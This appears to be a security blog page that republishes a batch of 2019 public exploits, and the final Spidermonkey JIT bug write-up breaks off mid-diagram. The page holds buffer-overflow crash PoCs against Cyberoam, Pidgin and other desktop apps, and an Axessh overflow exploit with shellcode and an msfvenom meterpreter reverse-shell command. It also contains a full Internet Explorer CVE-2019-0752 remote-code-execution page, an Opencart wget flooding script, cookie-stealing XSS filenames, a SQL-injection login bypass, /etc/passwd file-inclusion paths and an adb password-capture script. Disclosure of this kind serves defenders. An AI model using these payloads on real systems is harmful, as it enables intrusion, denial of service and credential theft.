Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863592082

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'Fully Qualified Domain Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip
#Tested Version: 2.1.2.5
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ctas_fqdn_2.1.2.5.py
#2.- Open ctas_fqdn_2.1.2.5.txt and copy content to clipboard
#3.- Open Cyberoam Transparent Authentication Suite
#4.- Select General > in Domain Type select "Microsoft Active Directory"
#5.- In "Fully Qualified Domain Name" paste Clipboard
#6.- Click on "Apply"
#7.- Crashed! 

cod = "\x41" * 1000

f = open('ctas_fqdn_2.1.2.5.txt', 'w')
f.write(cod)
f.close()
            
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'HTTP Proxy' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip
#Tested Version: 1.3.1.30
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: c_sslvpn_http.py
#2.- Open c_sslvpn_http.txt and copy content to clipboard
#3.- Open Cyberoam SSLVPN Client
#4.- Select Proxy Settings > Enable "Manual Configuration"
#5.- In "HTTP Proxy" address field paste Clipboard
#6.- In "Port" type 80
#7.- Select "OK"
#8.- Crashed! 

cod = "\x41" * 5000

f = open('c_sslvpn_http.txt', 'w')
f.write(cod)
f.close()
            
#Exploit Title: Cyberoam SSLVPN Client 1.3.1.30 - 'Connect To Server' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CrSSL_v1.3.1.30.zip
#Tested Version: 1.3.1.30
#Tested on: Windows Windows 10 Single Language x64 / Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: c_sslvpn_cts.py
#2.- Open c_sslvpn_cts.txt and copy content to clipboard
#3.- Open Cyberoam SSLVPN Client
#4.- Select Server Settings 
#5.- In "Connect To Server" field paste Clipboard
#6.- In "Port" type 80
#7.- Select "OK"
#8.- Crashed! 

cod = "\x41" * 5000

f = open('c_sslvpn_cts.txt', 'w')
f.write(cod)
f.close()
            
# Title: Axessh 4.2 - 'Log file name'  Local Stack-based Buffer Overflow
# Date: May 23rd, 2019
# Author: Uday Mittal (https://github.com/yaksas443/YaksasCSC-Lab/)
# Vendor Homepage: http://www.labf.com
# Software Link: http://www.labf.com/download/axessh.exe
# Version v4.2
# Tested on: Windows 7 SP1 EN (x86)
# Reference: https://www.exploit-db.com/exploits/46858

# TO RUN:
# 0. Setup a multi/handler listener
# 1. Run python script
# 2. Copy contents of axssh.txt
# 3. Open telnet_S.exe
# 4. Select Details >> Settings >> Logging
# 5. Select Log all Session Output radio button
# 6. Paste the contents in Log file name
# 7. Press "OK"
# 8. Press "OK"

# EIP offset: 214
# 0x050e3f04 : push esp # ret  | ascii {PAGE_EXECUTE_READ} [ctl3d32.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: True, v2.31.000 (C:\Windows\system32\ctl3d32.dll)


#77da395c - Address of LoadLibraryA() for Windows 7 SPI x86
#777db16f - Address of system() for Windows 7 SPI x86
#77da214f - Address of ExitProcess for Windows 7 SPI x86

# Shellcode Reference: https://www.exploit-db.com/shellcodes/46281
# Payload command command: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.163 LPORT=4444 EXITFUNC=seh -f msi > /var/www/html/ms.msi
# When the payload runs, it floods the system with Command windows and sends back a meterpreter shell. The shell does not die even if the user closes the application.


filename = "axssh.txt"

msiScode = "\x31\xc0\x66\xb8\x72\x74\x50\x68\x6d\x73\x76\x63\x54\xbb\x5c\x39\xda\x77\xff\xd3\x89\xc5\x31\xc0\x50\x68\x20\x2f\x71\x6e\x68\x2e\x6d\x73\x69\x68\x33\x2f\x6d\x73\x68\x36\x2e\x31\x36\x68\x38\x2e\x31\x32\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x89\xe7\x57\xb8\x6f\xb1\x7d\x77\xff\xd0\x31\xc0\x50\xb8\x4f\x21\xda\x77"

evilString = "\x90" * 110 + msiScode + "\x90" * 6 + "\x04\x3f\x0e\x05" + "\x90"*4 + "\x89\xE0\x83\xE8\x7F\x89\xC4\xEB\x81" + "\x90" * 800

file = open(filename,'w')
file.write(evilString)
file.close()
            
#!/bin/bash
#
#  Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit
#
#  Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>
#
#  PoC exploit, just for test...
#  Tested on store with added more than 1000 products
#  Usage: ./cartkiller.sh store_url threads sleep
#  Example: ./cartkiller.sh https://store_name 50 5
#
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#

echo "Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit"
echo
echo "Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>"
echo
echo "PoC exploit, just for test..."
echo "Tested on store with added more than 1000 products"

if [ -z "$3" ]; then
echo Usage: "$0" store_url threads sleep
echo Example: "$0" https://store_name 50 5
exit 4
fi
 
url="$1"
threads="$2"
sleep="$3"
while :
do
        for ((i=1;i<=$2;i++)); 
        do 	
	    wget "$url/index.php?route=extension/feed/google_base" --user-agent="Mozilla/5.0 (OpenCart Killer v2 google_base Denial Of Service)" --quiet -O /dev/null -o /dev/null &
        done
#
# Sleep between loops..
#      
sleep $sleep
done
            
# -*- coding: utf-8 -*-
# Exploit Title: Pidgin 2.13.0 - Denial of Service (PoC)
# Date: 24/05/2019
# Author: Alejandra Sánchez
# Vendor Homepage: https://pidgin.im/
# Software https://cfhcable.dl.sourceforge.net/project/pidgin/Pidgin/2.13.0/pidgin-2.13.0.exe
# Version: 2.13.0
# Tested on: Windows 7, Windows 10

# Proof of Concept:
# 1.- Run the python script 'pidgin.py', it will create a new file 'pidgin.txt'
# 2.- Open Pidgin
# 3.- Go to 'Accounts' > 'Manage Accounts'
# 4.- Click 'Add...', paste the content of pidgin.txt into the field 'Username', 
#     into the field 'Password' write anything, e.g. 1234 and click 'Add'
# 5.- On the taskbar, click show hidden icons, right click on Pingin and select 'Join Chat...'
# 6.- Now click 'Join' and crashed

buffer = "\x41" * 1000

f = open ("pidgin.txt", "w")
f.write(buffer)
f.close()
            
# Exploit Title: Fast AVI MPEG Joiner Dos Exploit
# Date: 24.5.2019
# Vendor Homepage:http://www.alloksoft.com
# Software Link:  http://www.alloksoft.com/fast_avimpegjoiner.exe
# Exploit Author: Achilles
# Tested Version: 1.2.0812
# Tested on: Windows 7 x64 Sp1
#            Windows XP x86 Sp3


# 1.- Run python code :Joiner.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open Fast AVI MPEG Joiner.exe
# 4.- Paste the content of EVIL.txt into the Field: 'License Name'
# 5.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
            
#Exploit Title: Cyberoam General Authentication Client 2.1.2.7 - Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/Cyberoam%20General%20Authentication%20Client%202.1.2.7.zip
#Tested Version: 2.1.2.7
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: cgac_2.1.2.7.py
#2.- Open cgac_2.1.2.7.txt and copy content to clipboard
#3.- Open Cyberoam General Authentication Client
#4.- In "Server Address" field paste Clipboard
#5.- Click on "Test"
#6.- Crashed! 

cod = "\x41" * 256

f = open('cgac_2.1.2.7.txt', 'w')
f.write(cod)
f.close()
            
#Exploit Title: Cyberoam Transparent Authentication Suite 2.1.2.5 - 'NetBIOS Name' Denial of Service (PoC)
#Discovery by: Victor Mondragón
#Discovery Date: 2019-05-23
#Vendor Homepage: https://www.cyberoam.com
#Software Link: https://download.cyberoam.com/solution/optionals/i18n/CTAS%202.1.2.5%20Release.zip
#Tested Version: 2.1.2.5
#Tested on: Windows 7 Service Pack 1 x64

#Steps to produce the crash:
#1.- Run python code: ctas_nn_2.1.2.5.py
#2.- Open ctas_nn_2.1.2.5.txt and copy content to clipboard
#3.- Open Cyberoam Transparent Authentication Suite
#4.- Select General > in Domain Type select "Microsoft Active Directory"
#5.- In "NetBIOS Name" Paste Clipboard
#6.- Click on "Apply"
#7.- Crashed! 

cod = "\x41" * 1500

f = open('ctas_nn_2.1.2.5.txt', 'w')
f.write(cod)
f.close()
            
# Exploit Title: Microsoft Internet Explorer Windows 10 1809 17763.316 - Scripting Engine Memory Corruption
# Date: 03/2019
# Author: Simon Zuckerbraun
# Vendor: https://www.microsoft.com/
# Version: February 2019 patch level
# Tested on: Windows 10 1809 17763.316
# CVE: CVE-2019-0752

<!-- Full exploit of ZDI-19-359/ZDI-CAN-7757/CVE-2019-0752                                      -->
<!-- Target: Internet Explorer, Windows 10 1809 17763.316 (Feb. 2019 patch level)               -->
<!-- Vulnerability and original exploit technique by Simon Zuckerbraun (@HexKitchen), Mar. 2019 -->

<!-- Tgroupcrew@gmail.com -->

<!-- Demonstrates taking an arbitrary write primitive with no info leak, and using it to get    -->
<!-- all the way to RCE using no shellcode.                                                     -->

<!-- Note use of CVE-2019-0768 to get VBScript to run on IE/Win10.                              -->
<!--    (h/t: James Forshaw, Google Project Zero)                                               -->

<html>
<meta http-equiv="x-ua-compatible" content="IE=8">
<meta http-equiv="Expires" content="-1">
<body>
	<div id="container1" style="overflow:scroll; width: 10px">
		<div id="content1" style="width:5000000px">
			Content
		</div>
	</div>
<script language="VBScript.Encode">
Dim ar1(&h3000000)
Dim ar2(1000)
Dim gremlin
addressOfGremlin = &h28281000
Class MyClass
	Private mValue
	Public Property Let Value(v)
		mValue = v
	End Property
	Public Default Property Get P
		P = mValue				' Where to write
	End Property
End Class
Sub TriggerWrite(where, val)
	Dim v1
	Set v1 = document.getElementById("container1")
	v1.scrollLeft = val		' Write this value (Maximum: 0x001767dd)
	Dim c
	Set c = new MyClass
	c.Value = where
	Set v1.scrollLeft = c
End Sub
' Our vulnerability does not immediately give us an unrestricted
' write (though we could manufacture one). For our purposes, the
' following is sufficient. It writes an arbitrary DWORD to an
' arbitrary location, and sets the subsequent 3 bytes to zero.
Sub WriteInt32With3ByteZeroTrailer(addr, val)
	TriggerWrite addr    , (val) AND &hff
	TriggerWrite addr + 1, (val\&h100) AND &hff
	TriggerWrite addr + 2, (val\&h10000) AND &hff
	TriggerWrite addr + 3, (val\&h1000000) AND &hff
End Sub
Sub WriteAsciiStringWith4ByteZeroTrailer(addr, str)
	For i = 0 To Len(str) - 1
		TriggerWrite addr + i, Asc(Mid(str, i + 1, 1))
	Next
End Sub
Function ReadInt32(addr)
	WriteInt32With3ByteZeroTrailer addressOfGremlin + &h8, addr
	ReadInt32 = ar1(gremlin)
End Function
Function LeakAddressOfObject(obj)
	Set ar1(gremlin + 1) = obj
	LeakAddressOfObject = ReadInt32(addressOfGremlin + &h18)
End Function
Sub Exploit()
	' Corrupt vt of one array element (the "gremlin")
	TriggerWrite addressOfGremlin, &h4003	' VT_BYREF | VT_I4
	For i = ((addressOfGremlin - &h20) / &h10) Mod &h100 To UBound(ar1) Step &h100
		If Not IsEmpty(ar1(i)) Then
			gremlin = i
			Exit For
		End If
	Next
	
	If IsEmpty(gremlin) Then
		MsgBox "Could not find gremlin"
		Exit Sub
	End If
	
	For i = 0 To UBound(ar2)
		Set ar2(i) = CreateObject("Scripting.Dictionary")
	Next
	
	Set dict = ar2(UBound(ar2) / 2)
	addressOfDict = LeakAddressOfObject(dict)
	vtableOfDict = ReadInt32(addressOfDict)
	scrrun = vtableOfDict - &h11fc
	kernel32 = ReadInt32(scrrun + &h1f1a4) - &h23c90
	winExec = kernel32 + &h5d380
	
	dict.Exists "dummy"		' Make a dispatch call, just to populate pld
	' Relocate pld to ensure its address doesn't contain a null byte
	pld = ReadInt32(addressOfDict + &h3c)
	fakePld = &h28281020
	For i = 0 To 3 - 1
		WriteInt32With3ByteZeroTrailer fakePld + 4 * i, ReadInt32(pld + 4 * i)
	Next
	
	fakeVtable = &h28282828		' ASCII "(((("
	For i = 0 To 21
		If i = 12 Then		' Dictionary.Exists
			fptr = winExec
		Else
			fptr = ReadInt32(vtableOfDict + 4 * i)
		End If
		WriteInt32With3ByteZeroTrailer (fakeVtable + 4 * i), fptr
	Next
	
	WriteAsciiStringWith4ByteZeroTrailer addressOfDict, "((((\..\PowerShell.ewe -Command ""<#AAAAAAAAAAAAAAAAAAAAAAAAA"
	WriteInt32With3ByteZeroTrailer addressOfDict + &h3c, fakePld
	WriteAsciiStringWith4ByteZeroTrailer addressOfDict + &h40, "#>$a = """"Start-Process cmd `""""""/t:4f /k whoami /user`"""""""""""" ; Invoke-Command -ScriptBlock ([Scriptblock]::Create($a))"""
	
	On Error Resume Next
	dict.Exists "dummy"		' Wheeee!!
	
	' A little cleanup to help prevent crashes after the exploit
	For i = 1 To 3
		WriteInt32With3ByteZeroTrailer addressOfDict + &h48 * i, vtableOfDict
		WriteInt32With3ByteZeroTrailer addressOfDict + (&h48 * i) + &h14, 2
	Next
	Erase Dict
	Erase ar2
End Sub
Exploit
</script>
</body>
</html>
            
# Exploit title: Stored XSS vulnerability in Phraseanet DAM Open Source software
# Date: 10/10/2018
# Exploit Author: Krzysztof Szulski
# Vendor Homepage: https://www.phraseanet.com
# Software Link (also VM): https://www.phraseanet.com/en/download/ # Version affected: 4.0.3 (4.0.4-dev) and below
# Version fixed: 4.0.7
# Proof of concept.

Phraseanet is an Open Source Digital Asset Management software distributed under GNU GPLV3 license.
Registered user (or even guest user, depends of configuration) can upload pictures, videos, pdfs or any other document.
A crafted file name for uploaded document leads to stored XSS. In simplest form the name of the file would be:
"><svg onload=alert(1)>.jpg
or:
"><svg onload=alert(document.cookie)>.jpg
Please notice that the file name should start from double quotation mark.
Once a picture will be uploaded it will pop up an alert window and keep popping up every time anybody will login to the website.
Another example of more malicious usage would be this file name:
"><svg onload=window.history.back()>.jpg
From now on every attempt to login will end up with redirection one step back - to login page.
Please be aware that this will not affect Chrome browser and other browsers built on chrome engine which has XSS filter built in.
            
# Exploit Title: Petraware pTransformer ADC before 2.1.7.22827 allows SQL
Injection via the User ID parameter to the login form.
# Date: 28-05-2019
# Exploit Author: Faudhzan Rahman
# Website: https://faudhzanrahman.blogspot.com/
# Vendor Homepage: http://www.petraware.com
# Version: 2.0
# CVE : CVE-2019-12372
# Tested on: Windows 10 Pro

*Description*

The login form on pTransformer ADC does not filter dangerous character such
as single quote ('). This has cause the application to be vulnerable to SQL
Injection.

*Proof-of-concept*

The vulnerable parameter is User ID. By injecting ' or '1'='1'-- ,it will
bypass the login form.

*Reference*

https://faudhzanrahman.blogspot.com/2019/05/sql-injection-on-login-form.html
            
# Exploit Title: Code execution via path traversal
# Date: 17-05-2019
# Exploit Author: Dhiraj Mishra
# Vendor Homepage: http://typora.io
# Software Link: https://typora.io/download/Typora.dmg
# Version: 0.9.9.24.6
# Tested on: macOS Mojave v10.14.4
# CVE: CVE-2019-12137
# References:
# https://nvd.nist.gov/vuln/detail/CVE-2019-12137
# https://github.com/typora/typora-issues/issues/2505

Summary:
Typora 0.9.9.24.6 on macOS allows directory traversal, for the execution of
arbitrary programs, via a file:/// or ../ substring in a shared note via
abusing URI schemes.

Technical observation:
A crafted URI can be used in a note to perform this attack using file:///
has an argument or by traversing to any directory like
(../../../../something.app).

Since, Typro also has a feature of sharing notes, in such case attacker
could leverage this vulnerability and send crafted notes to the
victim to perform any further attack.

Simple exploit code would be:

<body>
<a href="file:\\\Applications\Calculator.app" id=inputzero>
  <img src="someimage.jpeg" alt="inputzero" width="104" height="142">
</a>
<script>
(function download() {
    document.getElementById('inputzero').click();
})()
</script>
</body>




And alt would be:

```
[Hello World](file:///../../../../etc/passwd)
[Hello World](file:///../../../../something.app)
```
            
#Exploit title: EquityPandit v1.0 - Insecure Logging
#Date:27/05/2019
#Exploit Author: ManhNho
#Software name: "EquityPandit"
#Software link: https://play.google.com/store/apps/details?id=com.yieldnotion.equitypandit
#Version: 1.0
# Category: Android apps
#Description:

   - Sometimes developers keeps sensitive data logged into the developer
   console. Thus, attacker easy to capture sensitive information like password.
   - In this application, with adb, attacker can capture password of any
   users via forgot password function.

#Requirement:

   - Santoku virtual machine
   - Android virtual machine (installed "EquityPandit" apk file)
   - Victim user/password: victim@abc.com/123456
   - Exploit code named capture.py in Santoku vm as below:

import subprocess
import re

process_handler = subprocess.Popen(['adb', 'logcat', '-d'],
stdout=subprocess.PIPE)
dumps = process_handler.stdout.read()
password_list = re.findall(r'password\s(.*)', dumps)
print 'Captured %i passwords! \nThey are:' %len(password_list)
for index, item in enumerate(password_list):
	print '\t#%i: %s' %(int(index)+1, item)

#Reproduce:

   - Step 1: From Santoku, use adb to connect to Android machine (x.x.x.x)

adb connect x.x.x.x


   - Step 2: From Android machine, open EquityPandit, click forgot password
   function for acccount "victim@abc.com" and then click submit
   - Step 3: From Santoku, execute capture.py
   - Actual: Password of "victim@abc.com" will be show in terminal as
   "123456"

#Demo:

https://github.com/ManhNho/Practical-Android-Penetration-Testing/blob/master/Images/Equitypandit%20PoC.wmv
            
# Exploit Title: Maconomy Erp local file include
# Date: 22/05/2019
# Exploit Author: JameelNabbo
# Website: jameelnabbo.com
# Vendor Homepage: https://www.deltek.com
# Software Link: https://www.deltek.com/en-gb/products/project-erp/maconomy
# CVE: CVE-2019-12314
POC:

POC:
http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//LFI
Example
http://domain.com/cgi-bin/Maconomy/MaconomyWS.macx1.W_MCS//etc/passwd
            
While fuzzing Spidermonkey, I encountered the following (commented and modified) JavaScript program which crashes debug builds of the latest release version of Spidermonkey (from commit  https://github.com/mozilla/gecko-dev/commit/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c):

    function O1() {
        this.s = 'foobar';
        this.a = 42;

        // Avoid unboxed layout for O1 instances as this will cause the JIT
        // compiler to behave differently and not emit the ObjectGroupDispatch
        // operation (see below).
        delete this.a;
    }

    // This function will be inlined below in v4, together with the default
    // Object.prototype.toString implementation.
    // This just demonstrates that a custom function can be inlined which
    // will make assumptions about the input ObjectGroup.
    O1.prototype.toString = function() {
        return this.s;
    };

    function v4(v5) {
        // Once v22 is allocated as unboxed object, this will convert it to a
        // native object, which will cause its ObjectGroup to change.
        delete v5.nonExistent;

        // The call to .toString here will be implemented as a switch
        // (ObjectGroupDispatch operation) on the ObjectGroup with two cases
        // (ObjectGroup of v22 and v17). Depending on the input, the dispatch will
        // jump to one of the two inlined implementations of toString. However,
        // after v22 is allocated as UnboxedObject (still with the same
        // ObjectGroup as before), the delete operation above will convert it back
        // to a NativeObject, now changing the ObjectGroup. Afterwards, this
        // ObjectGroupDispatch operation will see an unexpected ObjectGroup and,
        // in debug builds, crash with an assertion failure. In release builds
        // it will just fallthrough to whichever branch was emitted right after
        // the dispatch operation.
        return v5.toString();
    }

    function v11() {
        const v22 = {p: 1337};
        v4(v22);

        let v26 = 0;
        do {
            const v17 = new O1;
            v4(v17);
            v26++;
        } while (v26 < 100);
    }
    for (let v33 = 0; v33 < 100; v33++) {
        const v37 = v11();
    }

The program will crash with an assertion similar to:

    > ../build_DBG.OBJ/dist/bin/js crash.js
    Assertion failure: Unexpected ObjectGroup, at js/src/jit/MacroAssembler.cpp:2014
    [1]    54116 trace trap  ../build_DBG.OBJ/dist/bin/js crash.js

It appears that roughly the following is happening here:

* Initially, the objects v22 and v17 will be allocated as native objects with two different ObjectGroups (an ObjectGroup [1] stores type information such as the prototype object and property/method types for an object): OG1 and OG2.
* Function v4 will be called repeatedly with objects of both ObjectGroups and will eventually be JIT compiled by IonMonkey. At that point, it will be compiled to expect an object with ObjectGroup OG1 or OG2 based on type feedback from the interpreter/baseline JIT and will be deoptimized if it is ever called with an object of a different group.
* The call to .toString in v4 will be optimized by inlining [2] the two possible implementations (O1.prototype.toString and Object.prototype.toString) and then performing a switch on the ObjectGroup of the input to determine which implementation to jump to. The switch is implemented by the ObjectGroupDispatch operation. Since both input ObjectGroups are covered, the instruction does not have a default (fallback) path [3].
* At a later point, the allocation site of v22 is modified to create an object with unboxed layout [4] which will store its properties inline in an unboxed form but still use ObjectGroup OG1.
* Afterwards, in the JIT code for v4, the delete operation converts the UnboxedObject back to a NativeObject [5], this time changing the ObjectGroup to a new group OG3 [6].
* Finally, when executing the machine code for the ObjectGroupDispatch operation, the new ObjectGroup matches none of the expected ones. At this point the program will crash with an assertion in debug builds. In release builds, it would now simply fall through to whichever one of the inlined implementations was directly following the ObjectGroupDispatch operation.

At least this way of triggering the bug is related to UnboxedObjects, which have recently been disabled by default:  https://github.com/mozilla/gecko-dev/commit/26965039e60a00b3600ce2e6a559106e4a3a30ca However, I am not sure if the conversion from unboxed to native objects due to the property deletion is the only reason that an object's ObjectGroup can change unexpectedly (in this situation).

As for exploitation, it might be possible to cause a type confusion by causing a fallthrough to the inlined code for the other ObjectGroup. In that case, the inlined code would expect to receive an object of a specific ObjectGroup and might omit further security checks based on that. For this specific sample it seems that the fallthrough path always happens to be the correct one (i.e. the one for Object.prototype.toString), but I assume it could also be the other way around in a different context. Furthermore, it might be possible to cause other code constructs (apart form the ObjectGroupDispatch) that rely on ObjectGroup information to misbehave in this situation. 


[1]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/ObjectGroup.h#L87
[2]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4517
[3]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/jit/IonBuilder.cpp#L4923
[4]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1416
[5]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L1150
[6]  https://github.com/mozilla/gecko-dev/blob/3ecf89da497cf1abe2a89d1b3c282b48e5dfac8c/js/src/vm/UnboxedObject.cpp#L756
            
IonMonkey can, during a bailout, leak an internal JS_OPTIMIZED_OUT magic value to the running script. This magic value can then be used to achieve memory corruption.

# Prerequisites

## Magic Values

Spidermonkey represents JavaScript values with the C++ type JS::Value [1], which is a NaN-boxed value that can encode a variety of different types [2] such as doubles, string pointers, integers, or object pointers. Besides the types available in JavaScript, JS::Value can also store special ("magic") [3] values for various internal purposes. For example, JS_ELEMENTS_HOLE is used to represent holes in arrays, and JS_OPTIMIZED_ARGUMENTS represents the `arguments` object during a function call (so that no actual memory allocation is required for it).

## Branch Pruning

IonMonkey (Spidermonkey's JIT engine) represents JavaScript code as a control-flow graph (CFG) of MIR (mid-level IR) instructions. When starting to compile a function, IonMonkey first translates the bytecode to the MIR, keeping the same CFG. Afterwards, it tries to remove subtrees in the CFG that appear to not be used in order to save compilation time and potentially improve various optimizations. As an example, consider the following code, and assume further that in all previous executions only the if branch had been taken:

    if (cond_that_has_always_been_true) {
        // do something
    } else {
        // do something else
    }

In this case, branch pruning would likely decide to discard the else branch entirely and instead replace it with a bailout instruction to bailout to the baseline JIT should the branch ever be taken:

    if (cond_that_has_always_been_true) {
        // do something
    } else {
        bailout();      // will continue execution in baseline JIT
    }

## Phi Elimination

IonMonkey uses static single assignment (SSA) form for its intermediate representation of the code (MIR). In SSA form, every variable is assigned exactly once. Reassignments of variables on different branches in the CFG are handled with special Phi instructions. Consider the following example:

    var x;
    if (c) {
        x = 1337;
    } else {
        x = 1338;
    }
    print(x);

After translation to SSA form it would look something like this:

    if (c) {
        x1 = 1337;
    } else {
        x2 = 1338;
    }
    x3 = Phi(x1, x2);
    print(x3);

Phi Elimination is an optimization pass that tries to remove Phi instructions that are either redundant or unobservable (which frequently appear as result of SSA conversion and various optimizations). Quoting from the source code [4]:

    // Eliminates redundant or unobservable phis from the graph.  A
    // redundant phi is something like b = phi(a, a) or b = phi(a, b),
    // both of which can be replaced with a.  An unobservable phi is
    // one that whose value is never used in the program.

Unobservable Phis are then replaced a special value, MagicOptimizedOut [5]. In case of a bailout from the JIT, such an optimized-out value will be materialized as a JS_OPTIMIZED_OUT [6] JS magic value. This should not be observable by script since the compiler was able to prove that the variable is never used. Spidermonkey can, however, not simply leave the slot for an optimized-out variable uninitialized as e.g. the garbage collector expects a valid JS::Value in it.

Phi elimination can lead to problems in combination with branch pruning. Consider the following example:

    var only_used_in_else_branch = ...;
    if (cond_that_has_always_been_true) {
        // do something, but don't use only_used_in_else_branch
    } else {
        // do something else and use only_used_in_else_branch
    }

Here again, branch pruning might decide to remove the else branch, in which case no use of the variable remains. As such, it would be replaced by a magic JS constant (JS_OPTIMIZED_OUT) in the JIT. Later, if the else branch was actually taken, the JIT code would perform a bailout and try to restore the variable. However, as it has been removed, it would now (incorrectly) restore it as JS_OPTIMIZED_OUT magic and continue using it in the baseline JIT, where it could potentially be observed by the executing script. To avoid this, branch pruning marks SSA variables that are used in removed blocks as "useRemoved" [7], in which case the variables will not be optimized out [8].

# Bug description

While fuzzing Spidermonkey, I encountered the following sample which crashes Spidermonkey built from the current release branch:

	function poc() {
		const x = "asdf";
		for (let v7 = 0; v7 < 2; v7++) {
			function v8() {
				let v13 = 0;
				do {
					v13++;
				} while (v13 < 1200000);
			}
			const v15 = v8();
			for (let v25 = 0; v25 < 100000; v25++) {
				if (x) {
				} else {
					const v26 = {get:v8};
					for (let v30 = 0; v30 < 1000; v30++) { }
				}
			}
		}
	}
	poc();

It appears what is happening here is roughly the following:

At the beginning of JIT compilation (somewhere in one of the inner loops), IonMonkey produces the following simplified CFG (annotated with the different SSA variables for x):

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = Phi(x1, x5)
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +----------+-+
   |     | x3 = osrval('x')         |
   |     +---------+     +----------+
   |               v     v
   |           +-------------+
   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3, x2) |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Since the function is already executing in the baseline JIT, the JIT code compiled by IonMonkey will likely be entered via OSR at block 3 in the middle of the outer loop.
Next, branch pruning runs. It inspects the hit count of the bytecode (and performs some more heuristics), and decides that block 2 (or really the exit from the loop in v8) should be pruned and replaced with a bailout to the baseline JIT. The CFG then looks something like this:

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = Phi(x1, x5)
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +------------+
   |     | x3 = osrval(1)
   |     +---------+        !! branch pruned !!
   |               v
   |           +-------------+
   |           |      4      |
   |           |    Merge    |
   |           +-----------+-+
   |      x4 = Phi(x3)     |
   |                       v
   |           +-------------+
   |           |    5...     |
   +-----------+ Inner Loop  |
               +-------------+
             x5 = Phi(x4, ..); use(x5);

Since there was no use of x2 in the removed code, x2 is not marked as "use removed". However, when removing the branch 2 -> 4, IonMonkey removed x2 as input to the Phi for x4. This seems logical since x2 can now definitely not flow into x4 since there is no longer a path between block 1 and block 4. However, this removal of a use without setting the "use removed" flag leads to problems later on, in particular during Phi Elimination, which changes the code to the following:

          +-------+
          |   0   +-----+
          | Entry |     |
          +-------+     |
      x1 = "asdf"       v
                    +-----------+
                    |     1     |
   +--------------->| Loop Head |
   |                +--+--------+
   |                   |  x2 = OPTIMIZED_OUT
   |                   +--------+
   |                            v
   |   +-----------+     +------------+
   |   |     3     |     |    2...    |
   |   | OSR Entry |     | Inlined v8 |
   |   +-+---------+     +------------+
   |     | x3 = osrval(1)
   |     +---------+        !! branch pruned !!
   |               v
   |           +-------------+
